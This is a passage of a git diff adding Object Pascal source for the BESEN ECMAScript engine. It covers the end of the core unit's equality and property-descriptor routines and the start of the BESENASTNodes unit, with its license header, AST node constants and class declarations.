result:=BooleanAgainstAllAnother; + end else if b.ValueType=bvtBOOLEAN then begin + result:=AllAnotherAgainstBoolean; + end else if ((a.ValueType=bvtSTRING) or (a.ValueType=bvtNUMBER)) and (b.ValueType=bvtOBJECT) then begin + result:=StringNumberAgainstObject; + end else if (a.ValueType=bvtOBJECT) and ((b.ValueType=bvtSTRING) or (b.ValueType=bvtNUMBER)) then begin + result:=ObjectAgainstStringNumber; + end else begin + result:=false; + end; + end; +end; + +function TBESEN.EqualityExpressionCompare(const a,b:TBESENValue):integer; + function DoItSafe:integer; + var v:TBESENValue; + begin + try + EqualityExpressionSub(a,b,v); + if (v.ValueType=bvtBOOLEAN) and v.Bool then begin + result:=-1; + end else begin + result:=1; + end; + except + result:=0; + end; + end; + function DoItForNumbers:integer; + var n1,n2:TBESENNumber; + begin + n1:=a.Num; + n2:=b.Num; + if BESENIsNaN(n1) or BESENIsNaN(n2) then begin + result:=1; + end else if BESENIsSameValue(n1,n2) then begin + result:=1; + end else if (BESENIsZero(n1) and BESENIsZero(n2)) and (BESENIsNegative(n1)<>BESENIsNegative(n2)) then begin + result:=1; + end else if BESENIsPosInfinite(n1) then begin + result:=1; + end else if BESENIsPosInfinite(n2) then begin + result:=-1; + end else if BESENIsNegInfinite(n1) then begin + result:=-1; + end else if BESENIsNegInfinite(n2) then begin + result:=1; + end else begin + if n1<n2 then begin + result:=-1; + end else begin + result:=1; + end; + end; + end; +begin + if EqualityExpressionEquals(a,b) then begin + result:=0; + end else begin + if (a.ValueType=bvtNUMBER) and (b.ValueType=bvtNUMBER) then begin + result:=DoItForNumbers; + end else begin + result:=DoItSafe; + end; + end; +end; + +procedure TBESEN.FromPropertyDescriptor(const Descriptor:TBESENObjectPropertyDescriptor;var AResult:TBESENValue); +var bv:TBESENValue; +begin + if Descriptor.Presents=[] then begin + AResult:=BESENUndefinedValue; + end else begin + AResult:=BESENObjectValue(TBESENObject.Create(self,ObjectPrototype)); + bv.ValueType:=bvtBOOLEAN; + if ([boppVALUE,boppWRITABLE]*Descriptor.Presents)<>[] then begin + TBESENObject(AResult.Obj).OverwriteData('value',Descriptor.Value,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE],false); + bv.Bool:=bopaWRITABLE in Descriptor.Attributes; + TBESENObject(AResult.Obj).OverwriteData('writable',bv,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE],false); + end else if ([boppGETTER,boppSETTER]*Descriptor.Presents)<>[] then begin + if boppGETTER in Descriptor.Presents then begin + if assigned(Descriptor.Getter) then begin + TBESENObject(AResult.Obj).OverwriteData('get',BESENObjectValueEx(Descriptor.Getter),[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE],false); + end else begin + TBESENObject(AResult.Obj).OverwriteData('get',BESENUndefinedValue,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE],false); + end; + end; + if boppSETTER in Descriptor.Presents then begin + if assigned(Descriptor.Setter) then begin + TBESENObject(AResult.Obj).OverwriteData('set',BESENObjectValueEx(Descriptor.Setter),[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE],false); + end else begin + TBESENObject(AResult.Obj).OverwriteData('set',BESENUndefinedValue,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE],false); + end; + end; + end else begin + BESENFreeAndNil(AResult.Obj); + raise EBESENInternalError.Create('201003121938-0001'); + end; + GarbageCollector.Add(TBESENObject(AResult.Obj)); + TBESENObject(AResult.Obj).GarbageCollectorLock; + try + bv.Bool:=bopaENUMERABLE in Descriptor.Attributes; + TBESENObject(AResult.Obj).OverwriteData('enumerable',bv,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE],false); + bv.Bool:=bopaCONFIGURABLE in Descriptor.Attributes; + TBESENObject(AResult.Obj).OverwriteData('configurable',bv,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE],false); + finally + TBESENObject(AResult.Obj).GarbageCollectorUnlock; + end; + end; +end; + +procedure TBESEN.ToPropertyDescriptor(const v:TBESENValue;var AResult:TBESENObjectPropertyDescriptor); +var t:TBESENValue; +begin + if not ((v.ValueType=bvtOBJECT) and assigned(TBESENObject(v.Obj))) then begin + raise EBESENTypeError.Create('ToPropertyDescriptor failed'); + end; + AResult:=BESENUndefinedPropertyDescriptor; + if TBESENObject(v.Obj).Get('enumerable',t) then begin + if ToBool(t) then begin + AResult.Attributes:=AResult.Attributes+[bopaENUMERABLE]; + end; + AResult.Presents:=AResult.Presents+[boppENUMERABLE]; + end; + if TBESENObject(v.Obj).Get('configurable',t) then begin + if ToBool(t) then begin + AResult.Attributes:=AResult.Attributes+[bopaCONFIGURABLE]; + end; + AResult.Presents:=AResult.Presents+[boppCONFIGURABLE]; + end; + if TBESENObject(v.Obj).Get('value',AResult.Value) then begin + AResult.Presents:=AResult.Presents+[boppVALUE]; + end; + if TBESENObject(v.Obj).Get('writable',t) then begin + if ToBool(t) then begin + AResult.Attributes:=AResult.Attributes+[bopaWRITABLE]; + end; + AResult.Presents:=AResult.Presents+[boppWRITABLE]; + end; + if TBESENObject(v.Obj).Get('get',t) then begin + if BESENIsCallable(t) then begin + AResult.Getter:=TBESENObject(t.Obj); + end else if t.ValueType<>bvtUNDEFINED then begin + raise EBESENTypeError.Create('ToPropertyDescriptor failed'); + end; + AResult.Presents:=AResult.Presents+[boppGETTER]; + end; + if TBESENObject(v.Obj).Get('set',t) then begin + if BESENIsCallable(t) then begin + AResult.Setter:=TBESENObject(t.Obj); + end else if t.ValueType<>bvtUNDEFINED then begin + raise EBESENTypeError.Create('ToPropertyDescriptor failed'); + end; + AResult.Presents:=AResult.Presents+[boppSETTER]; + end; + if BESENIsInconsistentDescriptor(AResult) then begin + raise EBESENTypeError.Create('ToPropertyDescriptor failed'); + end; +end; + +function TBESEN.SameValue(const va,vb:TBESENValue):TBESENBoolean; +var vaNAN,vbNAN:boolean; +begin + if va.ValueType<>vb.ValueType then begin + result:=false; + end else begin + case va.ValueType of + bvtUNDEFINED:begin + result:=true; + end; + bvtNULL:begin + result:=true; + end; + bvtNUMBER:begin + vaNAN:=BESENIsNaN(va.Num); + vbNAN:=BESENIsNaN(vb.Num); + if vaNAN or vbNAN then begin + result:=vaNAN and vbNAN; + end else if (abs(va.Num)=0) and (abs(vb.Num)=0) then begin + result:=(int64(pointer(@va.Num)^) shr 63)=(int64(pointer(@vb.Num)^) shr 63); + end else begin + result:=(int64(pointer(@va.Num)^)=int64(pointer(@vb.Num)^)) or (va.Num=vb.Num); + end; + end; + bvtSTRING:begin + result:=va.Str=vb.Str; + end; + bvtBOOLEAN:begin + result:=va.Bool=vb.Bool; + end; + bvtOBJECT:begin + result:=va.Obj=vb.Obj; + end; + else begin + result:=false; + end; + end; + end; +end; + +function TBESEN.SameValue(const oa,ob:TBESENObject):TBESENBoolean; +begin + result:=oa=ob; +end; + +function TBESEN.SameObject(const oa,ob:TBESENObject):TBESENBoolean; +begin + result:=oa=ob; +end; + +procedure InitBESEN; +const BESENSignature:TBESENANSISTRING='BESEN - A ECMAScript 5th edition engine - Version '+BESENVersion+' - Copyright (C) 2010, Benjamin ''BeRo'' Rosseaux - benjamin@rosseaux.com - http://www.rosseaux.com '; +begin + if length(BESENSignature)>0 then begin + BESENLengthHash:=BESENHashKey('length'); + end; +end; + +procedure DoneBESEN; +begin +end; + +initialization + InitBESEN; +finalization + DoneBESEN; +end. diff --git a/Core/JS/BESENASTNodes.pas b/Core/JS/BESENASTNodes.pas new file mode 100644 index 0000000..2ee6f48 --- /dev/null +++ b/Core/JS/BESENASTNodes.pas @@ -0,0 +1,2191 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENASTNodes; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENValue,BESENBaseObject, + BESENCollectorObject,BESENGarbageCollector; + +const bntNONE=0; + bntEXPRESSION=1; + bntLITERAL=2; + bntIDENTIFIER=3; + bntVARIABLEDECLARATION=4; + bntVARIABLEEXPRESSION=5; + bntFUNCTIONBODY=6; + bntFUNCTIONLITERAL=7; + bntSTATEMENT=8; + bntVARIABLESTATEMENT=9; + bntFUNCTIONDECLARATION=10; + bntEXPRESSIONSTATEMENT=11; + bntEMPTYSTATEMENT=12; + bntBLOCKSTATEMENT=13; + bntDEBUGGERSTATEMENT=14; + bntBREAKSTATEMENT=15; + bntCONTINUESTATEMENT=16; + bntDOSTATEMENT=17; + bntWHILESTATEMENT=18; + bntWITHSTATEMENT=19; + bntFORSTATEMENT=20; + bntFORINSTATEMENT=21; + bntIFSTATEMENT=22; + bntLABELLEDSTATEMENT=23; + bntCASESTATEMENT=24; + bntSWITCHSTATEMENT=25; + bntTHROWSTATEMENT=26; + bntTRYSTATEMENT=27; + bntARRAYLITERAL=28; + bntBINARYEXPRESSION=29; + bntASSIGNMENTEXPRESSION=30; + bntASSIGNMENTOPERATOREXPRESSION=31; + bntASSIGNMENTMULTIPLYEXPRESSION=32; + bntASSIGNMENTDIVIDEEXPRESSION=33; + bntASSIGNMENTMODULOEXPRESSION=34; + bntASSIGNMENTPLUSEXPRESSION=35; + bntASSIGNMENTMINUSEXPRESSION=36; + bntASSIGNMENTSHIFTLEFTEXPRESSION=37; + bntASSIGNMENTSHIFTRIGHTEXPRESSION=38; + bntASSIGNMENTSHIFTRIGHTUNSIGNEDEXPRESSION=39; + bntASSIGNMENTBITWISEANDEXPRESSION=40; + bntASSIGNMENTBITWISEXOREXPRESSION=41; + bntASSIGNMENTBITWISEOREXPRESSION=42; + bntBINARYOPERATOREXPRESSION=43; + bntBINARYCOMMAEXPRESSION=44; + bntBINARYDIVIDEEXPRESSION=45; + bntBINARYMODULOEXPRESSION=46; + bntBINARYMULTIPLYEXPRESSION=47; + bntBINARYPLUSEXPRESSION=48; + bntBINARYMINUSEXPRESSION=49; + bntBINARYSHIFTLEFTEXPRESSION=50; + bntBINARYSHIFTRIGHTEXPRESSION=51; + bntBINARYSHIFTRIGHTUNSIGNEDEXPRESSION=52; + bntBINARYGREATERTHANEXPRESSION=53; + bntBINARYGREATERTHANOREQUALEXPRESSION=54; + bntBINARYLESSTHANEXPRESSION=55; + bntBINARYLESSTHANOREQUALEXPRESSION=56; + bntBINARYINSTANCEOFEXPRESSION=57; + bntBINARYINEXPRESSION=58; + bntBINARYEQUALEQUALEXPRESSION=59; + bntBINARYEQUALEQUALEQUALEXPRESSION=60; + bntBINARYNOTEQUALEXPRESSION=61; + bntBINARYNOTEQUALEQUALEXPRESSION=62; + bntBINARYBITWISEANDEXPRESSION=63; + bntBINARYBITWISEXOREXPRESSION=64; + bntBINARYBITWISEOREXPRESSION=65; + bntBOOLEANLITERAL=66; + bntCALLEXPRESSION=67; + bntNEWEXPRESSION=68; + bntCONDITIONALEXPRESSION=69; + bntUNARYEXPRESSION=70; + bntUNARYOPERATOREXPRESSION=71; + bntUNARYPLUSEXPRESSION=72; + bntUNARYMINUSEXPRESSION=73; + bntUNARYBITWISENOTEXPRESSION=74; + bntUNARYLOGICALNOTEXPRESSION=75; + bntUNARYVOIDEXPRESSION=76; + bntUNARYTYPEOFEXPRESSION=77; + bntPROPERTYEXPRESSION=78; + bntLOGICALANDEXPRESSION=79; + bntLOGICALOREXPRESSION=80; + bntDELETEEXPRESSION=81; + bntPOSTFIXINCEXPRESSION=82; + bntPOSTFIXDECEXPRESSION=83; + bntPREFIXINCEXPRESSION=84; + bntPREFIXDECEXPRESSION=85; + bntNULLLITERAL=86; + bntNUMBERLITERAL=87; + bntREGEXPLITERAL=88; + bntSTRINGLITERAL=89; + bntTHISLITERAL=90; + bntOBJECTLITERALPROPERTY=91; + bntOBJECTLITERAL=92; + bntRETURNSTATEMENT=93; + bntPROGRAM=94; + bntFUNCTIONEXPRESSION=95; + +type TBESENFunctionLiteralContainer=class; + + TBESENFunctionLiteralContainers=array of TBESENFunctionLiteralContainer; + + TBESENASTNodeFunctionLiteral=class; + + TBESENFunctionLiteralContainer=class(TBESENGarbageCollectorObject) + public + Literal:TBESENASTNodeFunctionLiteral; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Finalize; override; + procedure Mark; override; + end; + + TBESENASTNodeType=byte; + + TBESENASTNodeCodeGenData=record + RegNr:integer; + end; + + TBESENASTNode=class; + + TBESENASTNodes=array of TBESENASTNode; + + TBESENASTNode=class(TBESENCollectorObject) + public + NodeType:TBESENASTNodeType; + Target:TBESENTarget; + Location:TBESENLocation; + CodeGenData:TBESENASTNodeCodeGenData; + TrashNodes:TBESENASTNodes; + CountTrashNodes:integer; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure ExecuteCode(const Context:TObject;var AResult:TBESENValue); virtual; + end; + + TBESENASTNodeClass=class of TBESENASTNode; + + TBESENASTNodeExpression=class(TBESENASTNode) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeExpressions=array of TBESENASTNodeExpression; + + TBESENASTNodeLiteral=class(TBESENASTNodeExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeIdentifier=class(TBESENASTNodeLiteral) + public + Name:TBESENString; + Index:integer; + ParameterIndex:integer; + ID:TBESENINT32; + IsParameter:longbool; + IsLocal:longbool; + IsReached:longbool; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeIdentifiers=array of TBESENASTNodeIdentifier; + + TBESENASTNodeVariableDeclaration=class(TBESENASTNodeExpression) + public + Identifier:TBESENASTNodeIdentifier; + Expression:TBESENASTNodeExpression; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeVariableDeclarations=array of TBESENASTNodeVariableDeclaration; + + TBESENASTNodeVariableExpression=class(TBESENASTNodeExpression) + public + Declarations:TBESENASTNodeVariableDeclarations; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeStatement=class; + + TBESENASTNodeStatements=array of TBESENASTNodeStatement; + + TBESENASTNodeBlockStatement=class; + + TBESENASTNodeFunctionBody=class(TBESENASTNode) + public + Variables:TBESENASTNodeIdentifiers; + Parameters:TBESENASTNodeIdentifiers; + Functions:TBESENASTNodeStatements; + Statements:TBESENASTNodeStatements; + IsFunction:longbool; + IsEmpty:longbool; + EnableLocalsOptimization:longbool; + DisableArgumentsObject:longbool; + IsStrict:longbool; + Code:TObject; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure ExecuteCode(const Context:TObject;var AResult:TBESENValue); override; + end; + + TBESENASTNodeFunctionLiteral=class(TBESENASTNodeLiteral) + public + Name:TBESENASTNodeIdentifier; + Container:TBESENFunctionLiteralContainer; + Body:TBESENASTNodeFunctionBody; + Index:integer; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure ExecuteCode(const Context:TObject;var AResult:TBESENValue); override; + end; + + TBESENASTNodeStatement=class(TBESENASTNode) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeVariableStatement=class(TBESENASTNodeStatement) + public + Declarations:TBESENASTNodeVariableDeclarations; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeFunctionDeclaration=class(TBESENASTNodeStatement) + public + Container:TBESENFunctionLiteralContainer; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeFunctionExpression=class(TBESENASTNodeExpression) + public + Container:TBESENFunctionLiteralContainer; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeExpressionStatement=class(TBESENASTNodeStatement) + public + Expression:TBESENASTNodeExpression; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeEmptyStatement=class(TBESENASTNodeStatement) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBlockStatement=class(TBESENASTNodeStatement) + public + Statements:TBESENASTNodeStatements; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeDebuggerStatement=class(TBESENASTNodeStatement) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBreakStatement=class(TBESENASTNodeStatement) + public + Identifier:TBESENASTNodeIdentifier; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeContinueStatement=class(TBESENASTNodeStatement) + public + Identifier:TBESENASTNodeIdentifier; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeDoStatement=class(TBESENASTNodeStatement) + public + Statement:TBESENASTNodeStatement; + Expression:TBESENASTNodeExpression; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeWhileStatement=class(TBESENASTNodeStatement) + public + Expression:TBESENASTNodeExpression; + Statement:TBESENASTNodeStatement; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeWithStatement=class(TBESENASTNodeStatement) + public + Expression:TBESENASTNodeExpression; + Statement:TBESENASTNodeStatement; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeForStatement=class(TBESENASTNodeStatement) + public + Initial:TBESENASTNodeExpression; + Condition:TBESENASTNodeExpression; + Increment:TBESENASTNodeExpression; + Statement:TBESENASTNodeStatement; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeForInStatement=class(TBESENASTNodeStatement) + public + Variable:TBESENASTNodeExpression; + Expression:TBESENASTNodeExpression; + Statement:TBESENASTNodeStatement; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeIfStatement=class(TBESENASTNodeStatement) + public + Expression:TBESENASTNodeExpression; + TrueStatement:TBESENASTNodeStatement; + FalseStatement:TBESENASTNodeStatement; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeLabelledStatement=class(TBESENASTNodeStatement) + public + Identifiers:TBESENASTNodeIdentifiers; + Statement:TBESENASTNodeStatement; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeCaseStatement=class(TBESENASTNodeStatement) + public + Expression:TBESENASTNodeExpression; + Statements:TBESENASTNodeStatements; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeCaseStatements=array of TBESENASTNodeCaseStatement; + + TBESENASTNodeSwitchStatement=class(TBESENASTNodeStatement) + public + Expression:TBESENASTNodeExpression; + CaseStatements:TBESENASTNodeCaseStatements; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeThrowStatement=class(TBESENASTNodeStatement) + public + Expression:TBESENASTNodeExpression; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeTryStatement=class(TBESENASTNodeStatement) + public + TryBlock:TBESENASTNodeStatement; + CatchIdentifier:TBESENASTNodeIdentifier; + CatchBlock:TBESENASTNodeStatement; + FinallyBlock:TBESENASTNodeStatement; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeArrayLiteral=class(TBESENASTNodeLiteral) + public + Elements:TBESENASTNodeExpressions; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryExpression=class(TBESENASTNodeExpression) + public + LeftExpression:TBESENASTNodeExpression; + RightExpression:TBESENASTNodeExpression; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeAssignmentExpression=class(TBESENASTNodeBinaryExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeAssignmentOperatorExpression=class(TBESENASTNodeBinaryExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeAssignmentMultiplyExpression=class(TBESENASTNodeAssignmentOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeAssignmentDivideExpression=class(TBESENASTNodeAssignmentOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeAssignmentModuloExpression=class(TBESENASTNodeAssignmentOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeAssignmentPlusExpression=class(TBESENASTNodeAssignmentOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeAssignmentMinusExpression=class(TBESENASTNodeAssignmentOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeAssignmentShiftLeftExpression=class(TBESENASTNodeAssignmentOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeAssignmentShiftRightExpression=class(TBESENASTNodeAssignmentOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeAssignmentShiftRightUnsignedExpression=class(TBESENASTNodeAssignmentOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeAssignmentBitwiseAndExpression=class(TBESENASTNodeAssignmentOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeAssignmentBitwiseXorExpression=class(TBESENASTNodeAssignmentOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeAssignmentBitwiseOrExpression=class(TBESENASTNodeAssignmentOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryOperatorExpression=class(TBESENASTNodeBinaryExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryCommaExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryDivideExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryModuloExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryMultiplyExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryPlusExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryMinusExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryShiftLeftExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryShiftRightExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryShiftRightUnsignedExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryGreaterThanExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryGreaterThanOrEqualExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryLessThanExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryLessThanOrEqualExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryInstanceOfExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryInExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryEqualEqualExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryEqualEqualEqualExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryNotEqualExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryNotEqualEqualExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryBitwiseAndExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryBitwiseXorExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBinaryBitwiseOrExpression=class(TBESENASTNodeBinaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeBooleanLiteral=class(TBESENASTNodeLiteral) + public + Value:longbool; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeCallExpression=class(TBESENASTNodeExpression) + public + TheFunction:TBESENASTNodeExpression; + Arguments:TBESENASTNodeExpressions; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeNewExpression=class(TBESENASTNodeExpression) + public + TheFunction:TBESENASTNodeExpression; + Arguments:TBESENASTNodeExpressions; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeConditionalExpression=class(TBESENASTNodeExpression) + public + Expression:TBESENASTNodeExpression; + TrueExpression:TBESENASTNodeExpression; + FalseExpression:TBESENASTNodeExpression; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeUnaryExpression=class(TBESENASTNodeExpression) + public + SubExpression:TBESENASTNodeExpression; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeUnaryOperatorExpression=class(TBESENASTNodeUnaryExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeUnaryPlusExpression=class(TBESENASTNodeUnaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeUnaryMinusExpression=class(TBESENASTNodeUnaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeUnaryBitwiseNotExpression=class(TBESENASTNodeUnaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeUnaryLogicalNotExpression=class(TBESENASTNodeUnaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeUnaryVoidExpression=class(TBESENASTNodeUnaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeUnaryTypeOfExpression=class(TBESENASTNodeUnaryOperatorExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodePropertyExpression=class(TBESENASTNodeBinaryExpression) + public + Dot:longbool; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeLogicalAndExpression=class(TBESENASTNodeBinaryExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeLogicalOrExpression=class(TBESENASTNodeBinaryExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeDeleteExpression=class(TBESENASTNodeUnaryExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodePostfixIncExpression=class(TBESENASTNodeUnaryExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodePostfixDecExpression=class(TBESENASTNodeUnaryExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodePrefixIncExpression=class(TBESENASTNodeUnaryExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + 